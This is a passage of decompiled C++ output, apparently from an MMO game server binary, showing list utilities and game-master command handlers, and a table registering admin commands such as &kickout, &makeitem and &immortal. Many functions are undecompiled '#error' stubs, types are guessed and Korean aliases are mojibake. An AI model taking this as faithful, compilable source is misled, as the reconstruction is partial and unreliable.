(*)[33])((char *)v6 + 1); ++v8; --v9; } while ( v10 ); if ( v10 ) { BalanceLog.dl_Activ = v7; v12 = "BalanceLog changed"; v11 = sp; } else { v12 = "All of log changed"; DebugLogging::dl_ActivAll = v7; v11 = sp; } AmpersandCommand::ac_wall(v5, v11, v12); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_DebugLogging"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00417A10) -------------------------------------------------------- #error "417A10: undefined or illegal type '#434' (funcsize=107)" //----- (00417BA0) -------------------------------------------------------- #error "417BA0: undefined or illegal type '#434' (funcsize=143)" //----- (00417D80) -------------------------------------------------------- #error "417D80: undefined or illegal type '#434' (funcsize=278)" //----- (00418170) -------------------------------------------------------- #error "418170: undefined or illegal type '#434' (funcsize=45)" //----- (00418230) -------------------------------------------------------- #error "418230: undefined or illegal type '#434' (funcsize=53)" //----- (00418300) -------------------------------------------------------- #error "418300: undefined or illegal type '#434' (funcsize=42)" //----- (004183A0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, AmpersandCommandElement *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 int v6; // esi@4 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2), (v4 = v3) != 0) ) { ORToken::operator_(v3, (int)ele); *(_DWORD *)(v4 + 20) = ele->ace_adminlevel; v6 = v4 + 24; *(_DWORD *)v6 = ele->ace_func; *(_DWORD *)(v6 + 4) = *(_DWORD *)&ele->gap1c[0]; *(_DWORD *)(v6 + 8) = *(_DWORD *)&ele->gap1c[4]; *(_DWORD *)(v6 + 12) = *(_DWORD *)&ele->gap1c[8]; result = 1; } else { result = 0; } return result; } //----- (00418400) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, AmpersandCommandElement *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 int v6; // esi@4 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2), (v4 = v3) != 0) ) { ORToken::operator_(v3, (int)ele); *(_DWORD *)(v4 + 20) = ele->ace_adminlevel; v6 = v4 + 24; *(_DWORD *)v6 = ele->ace_func; *(_DWORD *)(v6 + 4) = *(_DWORD *)&ele->gap1c[0]; *(_DWORD *)(v6 + 8) = *(_DWORD *)&ele->gap1c[4]; *(_DWORD *)(v6 + 12) = *(_DWORD *)&ele->gap1c[8]; result = 1; } else { result = 0; } return result; } //----- (00418460) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, AmpersandCommandElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; ORToken::operator_((int)ele, *(_DWORD *)v6); ele->ace_adminlevel = *(_DWORD *)(v8 + 20); v8 += 24; ele->ace_func = *(void (__thiscall **)(AmpersandCommand *, unsigned __int16, #434 *, int, char (*)[33]))v8; *(_DWORD *)&ele->gap1c[0] = *(_DWORD *)(v8 + 4); *(_DWORD *)&ele->gap1c[4] = *(_DWORD *)(v8 + 8); *(_DWORD *)&ele->gap1c[8] = *(_DWORD *)(v8 + 12); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004184E0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, AmpersandCommandElement *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; ORToken::operator_((int)ele, *(_DWORD *)v6); ele->ace_adminlevel = *(_DWORD *)(v8 + 20); v8 += 24; ele->ace_func = *(void (__thiscall **)(AmpersandCommand *, unsigned __int16, #434 *, int, char (*)[33]))v8; *(_DWORD *)&ele->gap1c[0] = *(_DWORD *)(v8 + 4); *(_DWORD *)&ele->gap1c[4] = *(_DWORD *)(v8 + 8); *(_DWORD *)&ele->gap1c[8] = *(_DWORD *)(v8 + 12); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00418560) -------------------------------------------------------- char __thiscall ListSearchSame::lid_Call(ListSearchSame *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle) { ListSearchSame *v3; // esi@1 char result; // al@2 v3 = this; if ( this->lss_compfunc(ele, this->lss_lst, handle, this->lss_key) ) { result = 1; } else { v3->lss_found.hnd = handle; v3->lss_found.element = ele; result = 0; } return result; } //----- (004185A0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004185F0) -------------------------------------------------------- void __thiscall KingdomQuest::KQElement::KQElement(KingdomQuest::KQElement *this) { KingdomQuest::KQElement *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this->kqe_kqinfo.MapLink, 0x1Au, 4, (void (__thiscall *)(void *))PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); _eh_vector_constructor_iterator_( v1->kqe_mapinfo, 0x24u, 4, (void (__thiscall *)(void *))KingdomQuest::KQElement::KQElementMap::KQElementMap, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); PineScriptToken::pst_Clear(&v1->kqe_Script); PineScriptToken::pst_Clear(&v1->kqe_InitValue); KingdomQuest::KQPlayerInfoList::KQPlayerInfoList(&v1->kqe_PlayerList); } //----- (00418690) -------------------------------------------------------- void __thiscall KingdomQuest::KQElement::_KQElement(KingdomQuest::KQElement *this) { KingdomQuest::KQElement *v1; // esi@1 v1 = this; List::_List(&this->kqe_PlayerList); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->kqe_InitValue); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->kqe_Script); _eh_vector_destructor_iterator_( v1->kqe_mapinfo, 0x24u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); _eh_vector_destructor_iterator_( v1->kqe_kqinfo.MapLink, 0x1Au, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00418730) -------------------------------------------------------- #error "418730: undefined or illegal type '#585' (funcsize=122)" //----- (004188F0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_NPCRevive(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { int v5; // edi@1 unsigned __int16 v6; // si@1 signed int v7; // ebp@1 int v8; // eax@3 bool v9; // cf@3 int v10; // eax@4 int v11; // ebx@5 int v12; // eax@6 int v13; // [sp+0h] [bp-18h]@1 unsigned __int16 v14; // [sp+4h] [bp-14h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_NPCRevive"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_NPCRevive"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; v5 = *(_DWORD *)(unk_124E32D4 + 8); v6 = *(_WORD *)(v5 + 12 * *(_WORD *)(unk_124E32D4 + 14) + 4); v7 = 10000; v14 = *(_WORD *)(unk_124E32D4 + 4); while ( v6 < v14 ) { v8 = v6; v9 = v6 < v14; v6 = *(_WORD *)(v5 + 12 * v6 + 4); if ( !v9 ) break; v10 = v5 + 12 * v8; if ( !*(_BYTE *)(v10 + 8) ) break; v11 = *(_DWORD *)v10; if ( !*(_DWORD *)v10 ) break; v12 = ShineObjectClass::ShineObject::so_DistanceSquar(v11, (int)sp); if ( v12 < (unsigned int)v7 ) { v13 = v11; v7 = v12; } } if ( v13 ) (*(void (__cdecl **)(#434 *))(*(_DWORD *)v13 + 2580))(sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_NPCRevive"); } //----- (00418A00) -------------------------------------------------------- #error "418A00: undefined or illegal type '#434' (funcsize=229)" //----- (00418D40) -------------------------------------------------------- #error "418D40: undefined or illegal type '#585' (funcsize=27)" //----- (00418DB0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00418ED0) -------------------------------------------------------- #error "418ED0: undefined or illegal type '#434' (funcsize=48)" //----- (00418FE0) -------------------------------------------------------- #error "418FE0: undefined or illegal type '#434' (funcsize=180)" //----- (00419290) -------------------------------------------------------- #error "419290: undefined or illegal type '#585' (funcsize=97)" //----- (00419420) -------------------------------------------------------- void __thiscall std::allocator_std::allocator>>::destroy(std::allocator,std::allocator > > *this, std::basic_string,std::allocator > *_Ptr) { if ( _Ptr->_Myres >= 0x10 ) operator delete(*(void **)&_Ptr->_Bx._Buf[0]); _Ptr->_Myres = 15; _Ptr->_Mysize = 0; _Ptr->_Bx._Buf[0] = 0; } //----- (00419450) -------------------------------------------------------- void __cdecl std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *i; // esi@1 for ( i = _First; i != _Last; ++i ) { if ( i->_Myres >= 0x10 ) operator delete(*(void **)&i->_Bx._Buf[0]); i->_Myres = 15; i->_Mysize = 0; i->_Bx._Buf[0] = 0; } } //----- (00419490) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xran(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00419500) -------------------------------------------------------- void __thiscall std::out_of_range::out_of_range(std::out_of_range *this, std::out_of_range *__that) { std::out_of_range *v2; // esi@1 v2 = this; std::logic_error::logic_error(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::out_of_range::_vftable_; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00419520) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xlen(std::vector,std::allocator >,std::allocator,std::allocator > > > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00419590) -------------------------------------------------------- #error "419590: undefined or illegal type '#434' (funcsize=107)" //----- (00419710) -------------------------------------------------------- #error "419710: undefined or illegal type '#434' (funcsize=107)" //----- (00419890) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ReLoadData(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // edi@1 std::basic_string,std::allocator > strtype; // [sp+4h] [bp-2Ch]@1 unsigned int v7; // [sp+20h] [bp-10h]@5 int v8; // [sp+2Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ReLoadData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ReLoadData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; strtype._Myres = 15; strtype._Mysize = 0; strtype._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &strtype, (const char *)arg, strlen((const char *)arg)); LOBYTE(v8) = 1; if ( !std::basic_string_std::allocator>::compare( &strtype, 0, strtype._Mysize, "ActiveSkill", 0xBu) ) { SkillDataBox::sdb_Load(&skilldatabox, 0); AmpersandCommand::ac_wall(v5, sp, "Reroad ActiveSkillData"); } if ( strtype._Myres >= 0x10 ) operator delete(*(void **)&strtype._Bx._Buf[0]); --funcallanalizer.fca_stackpoint; strtype._Myres = 15; strtype._Mysize = 0; strtype._Bx._Buf[0] = 0; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ReLoadData"); __security_check_cookie(v7); } //----- (004199C0) -------------------------------------------------------- #error "4199C0: undefined or illegal type '#434' (funcsize=89)" //----- (00419B00) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_IgnoreSkillCoolTime(AmpersandCommand *this, unsigned __int16 handle, #434 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // ebp@1 char *v6; // [sp-14h] [bp-44h]@2 std::basic_string,std::allocator > strtype; // [sp+4h] [bp-2Ch]@1 unsigned int v8; // [sp+20h] [bp-10h]@6 int v9; // [sp+2Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_IgnoreSkillCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_IgnoreSkillCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; strtype._Myres = 15; strtype._Mysize = 0; strtype._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &strtype, (const char *)arg, strlen((const char *)arg)); LOBYTE(v9) = 1; if ( std::basic_string_std::allocator>::compare( &strtype, 0, strtype._Mysize, "1", 1u) ) { ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime((int)sp, 1); v6 = "IgnoreSkillCoolTime true"; } else { ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime((int)sp, 0); v6 = "IgnoreSkillCoolTime false"; } AmpersandCommand::ac_wall(v5, sp, v6); if ( strtype._Myres >= 0x10 ) operator delete(*(void **)&strtype._Bx._Buf[0]); --funcallanalizer.fca_stackpoint; strtype._Myres = 15; strtype._Mysize = 0; strtype._Bx._Buf[0] = 0; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_IgnoreSkillCoolTime"); __security_check_cookie(v8); } //----- (00419C40) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Destroy(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( _First, _Last, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Last); } //----- (00419C60) -------------------------------------------------------- void __thiscall AmpersandCommand::AmpersandCommand(AmpersandCommand *this) { AmpersandCommand *v1; // esi@1 signed int v2; // edx@1 int v3; // eax@1 int v4; // ebx@1 signed int v5; // ebp@1 ListStruct *v6; // ecx@3 AmpersandCommandElement *v7; // edi@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 AmpersandCommandElement *v10; // edi@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 AmpersandCommandElement *v13; // edi@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 AmpersandCommandElement *v16; // edi@12 int v17; // ecx@12 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x100u); v1->baseclass_0.vfptr = (ListVtbl *)AmpersandCommand::_vftable_; _eh_vector_constructor_iterator_( v1->ac_command, 0x28u, 256, (void (__thiscall *)(void *))DropItemStruct::ItemGroup::ItemGroup, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 0; v4 = (int)&v1->ac_command[1]; v5 = 64; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3].ls_Content; v8 = (int)&v6[v3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 40; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 + 1].ls_Content; v11 = (int)&v9[v3 + 1]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 + 2].ls_Content; v14 = (int)&v12[v3 + 2]; if ( !v13 ) *(_DWORD *)v14 = v4 + 40; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3 + 3].ls_Content; v17 = (int)&v15[v3 + 3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 80; } v3 += 4; v2 += 4; v4 += 160; --v5; } while ( v5 ); AmpersandCommand::ac_Store(v1, "&hide", 10, AmpersandCommand::ac_Hide); AmpersandCommand::ac_Store(v1, "&¼", 10, AmpersandCommand::ac_Hide); AmpersandCommand::ac_Store(v1, "&show", 10, AmpersandCommand::ac_Show); AmpersandCommand::ac_Store(v1, "&º¸¿©", 10, AmpersandCommand::ac_Show); AmpersandCommand::ac_Store(v1, "&pfind", 10, AmpersandCommand::ac_FindPlayer); AmpersandCommand::ac_Store(v1, "&ijÃßÀ", 10, AmpersandCommand::ac_FindPlayer); AmpersandCommand::ac_Store(v1, "&mfind", 10, AmpersandCommand::ac_FindMob); AmpersandCommand::ac_Store(v1, "&¸", 10, AmpersandCommand::ac_FindMob); AmpersandCommand::ac_Store(v1, "&kickout", 10, AmpersandCommand::ac_KickOutPlayer); AmpersandCommand::ac_Store(v1, "&Ãß¹æ", 10, AmpersandCommand::ac_KickOutPlayer); AmpersandCommand::ac_Store(v1, "&linkto", 10, AmpersandCommand::ac_LinkTo); AmpersandCommand::ac_Store(v1, "&À̵¿", 10, AmpersandCommand::ac_LinkTo); AmpersandCommand::ac_Store(v1, "&psummon", 10, AmpersandCommand::ac_SummonPlayer); AmpersandCommand::ac_Store(v1, "&ij¼Òȯ", 10, AmpersandCommand::ac_SummonPlayer); AmpersandCommand::ac_Store(v1, "&expbonus", 50, AmpersandCommand::ac_BonusExp); AmpersandCommand::ac_Store(v1, "&°æÇèÄ¡º¸³Ê½º", 50, AmpersandCommand::ac_BonusExp); AmpersandCommand::ac_Store(v1, "&itembonus", 50, AmpersandCommand::ac_BonusItem); AmpersandCommand::ac_Store(v1, "&¾ÆÀÌÅÛº¸³Ê½º", 50, AmpersandCommand::ac_BonusItem); AmpersandCommand::ac_Store(v1, "&fieldbonus", 50, AmpersandCommand::ac_FieldBonus); AmpersandCommand::ac_Store(v1, "&Çʵ庸³Ê½º", 50, AmpersandCommand::ac_FieldBonus); AmpersandCommand::ac_Store(v1, "&silence", 100, AmpersandCommand::ac_KeepFromChat); AmpersandCommand::ac_Store(v1, "&Á¶¿ëÈ", 100, AmpersandCommand::ac_KeepFromChat); AmpersandCommand::ac_Store(v1, "&distribute", 10, AmpersandCommand::ac_PlayerDistribute); AmpersandCommand::ac_Store(v1, "&isblock", 10, AmpersandCommand::ac_IsBlock); AmpersandCommand::ac_Store(v1, "&mobdist", 10, AmpersandCommand::ac_MobDistribute); AmpersandCommand::ac_Store(v1, "&chargeditem", 100, AmpersandCommand::ac_ChargedItem); AmpersandCommand::ac_Store(v1, "¶meterview", 100, AmpersandCommand::ac_ParameterView); AmpersandCommand::ac_Store(v1, "&adminlevel", 1, AmpersandCommand::ac_AdminLevel); AmpersandCommand::ac_Store(v1, "&serverindex", 100, AmpersandCommand::ac_ServerIndex); AmpersandCommand::ac_Store(v1, "&makeitem", 100, AmpersandCommand::ac_MakeItem); AmpersandCommand::ac_Store(v1, "&dimension", 100, AmpersandCommand::ac_Dimension); AmpersandCommand::ac_Store(v1, "&doorbuild", 100, AmpersandCommand::ac_DoorBuild); AmpersandCommand::ac_Store(v1, "&mobbreed", 50, AmpersandCommand::ac_MobBreed); AmpersandCommand::ac_Store(v1, "&mb", 50, AmpersandCommand::ac_MobBreed_simple); AmpersandCommand::ac_Store(v1, "&fullpoint", 50, AmpersandCommand::ac_fullpoint); AmpersandCommand::ac_Store(v1, "&summonplayer", 100, AmpersandCommand::ac_summonplayer); AmpersandCommand::ac_Store(v1, "&performance", 10, AmpersandCommand::ac_performance); AmpersandCommand::ac_Store(v1, "&sethp", 100, AmpersandCommand::ac_Sethp); AmpersandCommand::ac_Store(v1, "&setsp", 100, AmpersandCommand::ac_Setsp); AmpersandCommand::ac_Store(v1, "&dist", 10, AmpersandCommand::ac_Dist); AmpersandCommand::ac_Store(v1, "&coord", 10, AmpersandCommand::ac_CurrentLoc); AmpersandCommand::ac_Store(v1, "&scrint", 10, AmpersandCommand::ac_ScriptInterrupt); AmpersandCommand::ac_Store(v1, "&timer", 100, AmpersandCommand::ac_Timer); AmpersandCommand::ac_Store(v1, "&templink", 10, AmpersandCommand::ac_TempLink); AmpersandCommand::ac_Store(v1, "&oxblock", 100, AmpersandCommand::ac_OXBlock); AmpersandCommand::ac_Store(v1, "&z", 10, AmpersandCommand::ac_NoticeZone); AmpersandCommand::ac_Store(v1, "&¤»", 10, AmpersandCommand::ac_NoticeZone); AmpersandCommand::ac_Store(v1, "&gmchat", 1, AmpersandCommand::ac_GMChat); AmpersandCommand::ac_Store(v1, "&gldcollectclear", 100, AmpersandCommand::ac_GuildCollectClear); AmpersandCommand::ac_Store(v1, "&gldcollectset", 100, AmpersandCommand::ac_GuildCollectSet); AmpersandCommand::ac_Store(v1, "&questgiveup", 100, AmpersandCommand::ac_questgiveup); AmpersandCommand::ac_Store(v1, "&questrecieve", 100, AmpersandCommand::ac_questrecieve); AmpersandCommand::ac_Store(v1, "&questcomplete", 100, AmpersandCommand::ac_questcomplete); AmpersandCommand::ac_Store(v1, "&learnskill", 100, AmpersandCommand::ac_learnskill); AmpersandCommand::ac_Store(v1, "&skillcooltime", 100, AmpersandCommand::ac_skillcooltime); AmpersandCommand::ac_Store(v1, "&setabstate", 100, AmpersandCommand::ac_Setabstate); AmpersandCommand::ac_Store(v1, "&resetabstate", 100, AmpersandCommand::ac_resetabstate); AmpersandCommand::ac_Store(v1, "&kqreward", 100, AmpersandCommand::ac_KQReward); AmpersandCommand::ac_Store(v1, "&killallmob", 50, AmpersandCommand::ac_killallmob); AmpersandCommand::ac_Store(v1, "&mobdamage", 100, AmpersandCommand::ac_mobdamage); AmpersandCommand::ac_Store(v1, "&suicideallmob", 50, AmpersandCommand::ac_SuicideAllMob); AmpersandCommand::ac_Store(v1, "&kingdomquest", 100, AmpersandCommand::ac_KingdomQuest); AmpersandCommand::ac_Store(v1, "&Reroadkingdomquest", 100, AmpersandCommand::ac_ReroadKingdomQuest); AmpersandCommand::ac_Store(v1, "&endofkq", 100, AmpersandCommand::ac_EndOfKingdomQuest); AmpersandCommand::ac_Store(v1, "&guildtournament", 100, AmpersandCommand::ac_GuildTournament); AmpersandCommand::ac_Store(v1, "&zonelink", 100, AmpersandCommand::ac_ZoneLinkTest); AmpersandCommand::ac_Store(v1, "&block", 100, AmpersandCommand::ac_BlockMatrix); AmpersandCommand::ac_Store(v1, "&emptymap", 100, AmpersandCommand::ac_EmptyMap); AmpersandCommand::ac_Store(v1, "&serversocketcut", 100, AmpersandCommand::ac_ServerSocketCut); AmpersandCommand::ac_Store(v1, "&staticdamage", 50, AmpersandCommand::ac_staticdamage); AmpersandCommand::ac_Store(v1, "&deathaura", 100, AmpersandCommand::ac_deathaura); AmpersandCommand::ac_Store(v1, "&immortal", 10, AmpersandCommand::ac_immortal); AmpersandCommand::ac_Store(v1, "&enterminihouse", 100, AmpersandCommand::ac_EnterMiniHouse); AmpersandCommand::ac_Store(v1, "&horsespeed", 100, AmpersandCommand::ac_HorseSpeed); AmpersandCommand::ac_Store(v1, "&charinform", 10, AmpersandCommand::ac_CharInform); AmpersandCommand::ac_Store(v1, "&partyinfo", 100, AmpersandCommand::ac_PartyInform); AmpersandCommand::ac_Store(v1, "&propose", 100, AmpersandCommand::ac_Propose); AmpersandCommand::ac_Store(v1, "&proposeres", 100, AmpersandCommand::ac_ProposeRes); AmpersandCommand::ac_Store(v1, "&weddingreset", 100, AmpersandCommand::ac_WeddingReset); AmpersandCommand::ac_Store(v1, "&reserve", 100, AmpersandCommand::ac_WeddingReserve); AmpersandCommand::ac_Store(v1, "&enterready", 100, AmpersandCommand::ac_WeddingGuestEnterReady); AmpersandCommand::ac_Store(v1, "&enter", 100, AmpersandCommand::ac_WeddingGuestEnter); AmpersandCommand::ac_Store(v1, "&learnpassive", 100, AmpersandCommand::ac_learnPassive); AmpersandCommand::ac_Store(v1, "&unlearn", 100, AmpersandCommand::ac_Unlearnskill); AmpersandCommand::ac_Store(v1, "&unlearnpassive", 100, AmpersandCommand::ac_UnlearnPassive); AmpersandCommand::ac_Store(v1, "&wedding", 100, AmpersandCommand::ac_Wedding); AmpersandCommand::ac_Store(v1, "&showid", 100, AmpersandCommand::ac_ShowPlayerID); AmpersandCommand::ac_Store(v1, "&mobhatchery", 100, AmpersandCommand::ac_MobHatchery); AmpersandCommand::ac_Store(v1, "&allcritical", 100, AmpersandCommand::ac_AllCritical); AmpersandCommand::ac_Store(v1, "&erasechargebuf", 100, AmpersandCommand::ac_EraseChargeBuff); AmpersandCommand::ac_Store(v1, "&startGT", 100, AmpersandCommand::ac_StartGuildTournament); AmpersandCommand::ac_Store(v1, "&flagcapture", 100, AmpersandCommand::ac_FlagCapture); AmpersandCommand::ac_Store(v1, "&useguildskill", 100, AmpersandCommand::ac_UseGuildSkill); AmpersandCommand::ac_Store(v1, "&observerlinkto", 100, AmpersandCommand::ac_ObserverLinkTo); AmpersandCommand::ac_Store(v1, "&observerout", 100, AmpersandCommand::ac_ObserverOut); AmpersandCommand::ac_Store(v1, "&HP", 100, AmpersandCommand::ac_HPChange); AmpersandCommand::ac_Store(v1, "&SP", 100, AmpersandCommand::ac_SPChange); AmpersandCommand::ac_Store(v1, "&speed", 100, AmpersandCommand::ac_EditSpeed); AmpersandCommand::ac_Store(v1, "&linktosavedata", 100, AmpersandCommand::ac_LinktoSaveData); AmpersandCommand::ac_Store(v1, "&reloaddata", 100, AmpersandCommand::ac_ReLoadData); AmpersandCommand::ac_Store(v1, "&captivate", 100, AmpersandCommand::ac_Captivate); AmpersandCommand::ac_Store(v1, "&ignoreskillcooltime", 100, AmpersandCommand::ac_IgnoreSkillCoolTime); AmpersandCommand::ac_Store(v1, "&Ä", 100, AmpersandCommand::ac_IgnoreSkillCoolTime); AmpersandCommand::ac_Store(v1, "&invenview", 100, AmpersandCommand::ac_InventoryView); 